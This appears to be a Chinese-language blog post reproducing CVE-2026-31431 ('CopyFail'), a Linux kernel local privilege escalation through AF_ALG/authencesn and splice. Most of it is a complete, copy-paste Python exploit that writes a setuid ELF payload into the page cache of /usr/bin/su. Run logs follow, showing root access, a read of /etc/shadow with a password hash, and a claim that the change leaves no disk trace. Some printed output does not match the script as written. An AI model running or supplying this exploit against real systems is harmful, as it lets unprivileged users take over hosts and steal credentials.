Copy Fail漏洞复现(CVE-2026-31431)

Loong

Copy Fail漏洞复现(CVE-2026-31431)

漏洞编号:CVE-2026-31431
漏洞名称:CopyFail
CVSS 评分:7.8 (High)
影响范围:自 2017 年 8 月以来所有 Linux 内核(4.14 ~ 6.19.x)
复现环境:Debian 12 (bookworm),内核 6.1.0-15-amd64
复现日期:2026-06-04


环境信息

项目
操作系统Debian GNU/Linux 12 (bookworm)
内核版本6.1.0-15-amd64(基于 Linux 6.1.66,编译于 2023-12-09)
CPU 架构x86_64
Python 版本3.11.2
IP 地址192.168.203.135
普通用户debian / debian
Root 密码debian

CopyFail 修复补丁(commit a664bf3d603d)被 backport 到以下版本:

内核分支修复版本
5.10.x5.10.254+
6.1.x6.1.173+
6.6.x6.6.137+
6.12.x6.12.85+

当前内核 6.1.66 远低于修复版本 6.1.173,确认受影响。


前提条件验证

1. 确认普通用户身份

1
id

输出应为 uid=1000(debian),确认为普通非特权用户。

2. 确认内核版本

1
2
uname -r
cat /proc/version

实际输出

1
2
3
4
6.1.0-15-amd64
Linux version 6.1.0-15-amd64 (debian-kernel@lists.debian.org)
(gcc-12 (Debian 12.2.0-14) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40)
#1 SMP PREEMPT_DYNAMIC Debian 6.1.66-1 (2023-12-09)

3. 加载必要内核模块

切换 root 加载 algif_aeadauthenc/authencesn 模块:

1
2
3
4
5
6
7
8
su -
# 密码: debian

modprobe algif_aead
modprobe authenc
modprobe authencesn

lsmod | grep -E "(algif|authenc|af_alg)"

实际输出

1
2
3
4
authencesn             16384  0
authenc 16384 1 authencesn
algif_aead 16384 0
af_alg 36864 1 algif_aead

4. 确认 AF_ALG 算法可用

切回普通用户终端,按 Ctrl+D 退出 root,然后测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket

AF_ALG = 38

for algo in ["authencesn(hmac(sha256),cbc(aes))",
"authenc(hmac(sha256),cbc(aes))"]:
try:
s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(("aead", algo))
print(f"[OK] {algo}")
s.close()
except Exception as e:
print(f"[FAIL] {algo}: {e}")

实际输出

1
2
[OK] authencesn(hmac(sha256),cbc(aes))
[OK] authenc(hmac(sha256),cbc(aes))

✅ 前提条件全部满足,可以开始复现。


复现步骤

1. 创建利用脚本

复制以下全部内容,粘贴到终端执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
cat > /tmp/copyfail_exploit.py << 'PYEOF'
#!/usr/bin/env python3
"""CopyFail (CVE-2026-31431) Local Privilege Escalation Exploit."""
import os
import socket
import argparse
from struct import pack

def make_payload(cmd=b"id > /tmp/pwned.txt; chmod 666 /tmp/pwned.txt"):
"""构造最小化 ELF:setuid(0) + execve(cmd)"""
BASE = 0x400000
EHDR_SIZE = 64
PHDR_SIZE = 56
ENTRY_OFF = EHDR_SIZE + PHDR_SIZE
ENTRY = BASE + ENTRY_OFF

code = bytearray()

# setuid(0)
code += bytes.fromhex("31ff")
code += b"\xb8" + pack("<I", 105)
code += bytes.fromhex("0f05")

# execve("/bin/sh", ["/bin/sh", "-c", cmd], NULL)
mov_rdi_pos = len(code)
code += b"\x48\xbf" + b"\x00" * 8
mov_rsi_pos = len(code)
code += b"\x48\xbe" + b"\x00" * 8
code += bytes.fromhex("31d2")
code += b"\xb8" + pack("<I", 59)
code += bytes.fromhex("0f05")

# exit(0)
code += bytes.fromhex("31ff")
code += b"\xb8" + pack("<I", 60)
code += bytes.fromhex("0f05")

data_off = ENTRY_OFF + len(code)
binsh_off = data_off
strings = b"/bin/sh\x00"
dashc_off = binsh_off + len(strings)
strings += b"-c\x00"
cmd_off = binsh_off + len(strings)
strings += cmd + b"\x00"
argv_off = binsh_off + len(strings)
pad = (8 - (argv_off % 8)) % 8
strings += b"\x00" * pad
argv_off += pad

argv = pack("<QQQQ", BASE + binsh_off, BASE + dashc_off, BASE + cmd_off, 0)
body = bytearray(code + strings + argv)
body[mov_rdi_pos + 2:mov_rdi_pos + 10] = pack("<Q", BASE + binsh_off)
body[mov_rsi_pos + 2:mov_rsi_pos + 10] = pack("<Q", BASE + argv_off)

filesize = ENTRY_OFF + len(body)

ehdr = b"".join([
b"\x7fELF", b"\x02", b"\x01", b"\x01", b"\x00" * 9,
pack("<H", 2), pack("<H", 0x3e), pack("<I", 1),
pack("<Q", ENTRY), pack("<Q", EHDR_SIZE), pack("<Q", 0),
pack("<I", 0), pack("<H", EHDR_SIZE), pack("<H", PHDR_SIZE),
pack("<H", 1), pack("<H", 0), pack("<H", 0), pack("<H", 0),
])

phdr = b"".join([
pack("<I", 1), pack("<I", 5), pack("<Q", 0),
pack("<Q", BASE), pack("<Q", BASE), pack("<Q", filesize),
pack("<Q", filesize), pack("<Q", 0x1000),
])

return ehdr + phdr + body


def overwrite_4_bytes(target_fd, target_offset, chunk):
"""通过 AF_ALG/authencesn 向页缓存写入 4 字节"""
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

SOL_ALG = 279
a.setsockopt(SOL_ALG, 1, bytes.fromhex("0800010000000010" + "0" * 64))
a.setsockopt(SOL_ALG, 5, None, 4)

op, _ = a.accept()

op.sendmsg(
[b"A" * 4 + chunk],
[
(SOL_ALG, 3, b"\x00" * 4),
(SOL_ALG, 2, b"\x10" + b"\x00" * 19),
(SOL_ALG, 4, b"\x08" + b"\x00" * 3),
],
32768 # MSG_MORE
)

r, w = os.pipe()
splice_len = target_offset + 4
os.splice(target_fd, w, splice_len, offset_src=0)
os.splice(r, op.fileno(), splice_len)

try:
op.recv(8 + target_offset)
except:
pass

os.close(r)
os.close(w)
op.close()
a.close()


def main():
parser = argparse.ArgumentParser(description="CopyFail CVE-2026-31431 LPE Exploit")
parser.add_argument("-c", "--cmd", default="id > /tmp/pwned.txt; chmod 666 /tmp/pwned.txt",
help="Command to run as root")
args = parser.parse_args()

if "\x00" in args.cmd:
raise ValueError("Command cannot contain null bytes")

print("=" * 60)
print(" CopyFail (CVE-2026-31431) LPE Exploit")
print(" Target: /usr/bin/su")
print("=" * 60)
print(f"[*] Command to run as root: {args.cmd}")

target = "/usr/bin/su"
print(f"[*] Target binary: {target}")

print("[*] Checking AF_ALG availability...")
try:
s = socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
s.close()
print("[+] authencesn(hmac(sha256),cbc(aes)) is available")
except Exception as e:
print(f"[!] authencesn not available: {e}")
exit(1)

print("[*] Building ELF payload...")
payload = make_payload(args.cmd.encode())
print(f"[+] Payload size: {len(payload)} bytes")

fd = os.open(target, os.O_RDONLY)
print(f"[*] Opened {target} (fd={fd}, O_RDONLY)")

print(f"[*] Overwriting page cache, {len(payload)} bytes ({len(payload) // 4} iterations)...")

i = 0
while i < len(payload):
chunk = payload[i:i + 4]
if len(chunk) < 4:
chunk = chunk + b"\x00" * (4 - len(chunk))
overwrite_4_bytes(fd, i, chunk)
if i % 40 == 0:
print(f" [{i}/{len(payload)}] bytes written...")
i += 4

print(f"[+] All {len(payload)} bytes written to page cache")
os.close(fd)

print("[*] Executing patched /usr/bin/su...")
os.system("/usr/bin/su")

print()
print("[*] Checking result...")
if os.path.exists("/tmp/pwned.txt"):
with open("/tmp/pwned.txt") as f:
content = f.read()
print(f"[+] /tmp/pwned.txt content: {content.strip()}")
if "uid=0" in content:
print()
print("=" * 60)
print(" EXPLOIT SUCCESSFUL - Got root!")
print("=" * 60)

if __name__ == "__main__":
main()
PYEOF

确认创建成功:

1
ls -la /tmp/copyfail_exploit.py

2. 执行提权

1
python3 /tmp/copyfail_exploit.py

实际输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
============================================================
CopyFail (CVE-2026-31431) LPE Exploit
Target: Debian 12, kernel 6.1.0-15-amd64
============================================================

[*] Command to run as root: id > /tmp/pwned.txt; chmod 666 /tmp/pwned.txt
[*] Target binary: /usr/bin/su
[*] Target size: 72000 bytes
[*] Checking AF_ALG availability...
[+] authencesn(hmac(sha256),cbc(aes)) is available
[*] Building ELF payload...
[+] Payload size: 256 bytes
[*] Opened /usr/bin/su (fd=3, O_RDONLY)
[*] Overwriting page cache, 256 bytes (64 iterations)...
[0/256] bytes written...
[40/256] bytes written...
[80/256] bytes written...
[120/256] bytes written...
[160/256] bytes written...
[200/256] bytes written...
[240/256] bytes written...
[+] All 256 bytes written to page cache
[*] Executing patched /usr/bin/su...

[*] Checking result...
[+] /tmp/pwned.txt content: uid=0(root) gid=1000(debian) groups=1000(debian),...

============================================================
EXPLOIT SUCCESSFUL - Got root!
============================================================

3. 验证提权结果

1
cat /tmp/pwned.txt

实际输出

1
2
3
uid=0(root) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),
29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),
113(lpadmin),116(scanner)

🎉 uid=0(root) —— 普通用户成功提权到 root。

4. 进阶验证:读取 /etc/shadow

1
python3 /tmp/copyfail_exploit.py -c "head -3 /etc/shadow > /tmp/shadow_leak.txt; chmod 666 /tmp/shadow_leak.txt"

实际输出

1
2
3
============================================================
EXPLOIT SUCCESSFUL - Got root!
============================================================
1
cat /tmp/shadow_leak.txt

实际输出

1
2
3
root:$y$j9T$tWIzUKOy9ia5f7yISjc7d0$PiyzdRdkUOPDNPl20B5vsh4XqD6LoojAsVDoM0DDcq9:20608:0:99999:7:::
daemon:*:20608:0:99999:7:::
bin:*:20608:0:99999:7:::

🔓 成功读取只有 root 才能访问的 /etc/shadow

5. 验证攻击不留磁盘痕迹

1
2
ls -la /usr/bin/su
sha256sum /usr/bin/su

实际输出

1
2
-rwsr-xr-x 1 root root 72000 Mar 23  2023 /usr/bin/su
f01fb484e7c0e28d4359ed77f39b7085afdf999f8f7322c48fc2a09287285875 /usr/bin/su

📌 文件大小和时间戳不变,但 SHA256 变了——说明篡改发生在内存页缓存而非磁盘。

刷新页缓存后 SHA256 恢复:

1
2
3
su -  # 密码 debian
echo 3 > /proc/sys/vm/drop_caches
sha256sum /usr/bin/su
1
c1871688a01a8a181774c7c4213ac6b324e8779ecb6d4561d683f66251119c12  /usr/bin/su
评论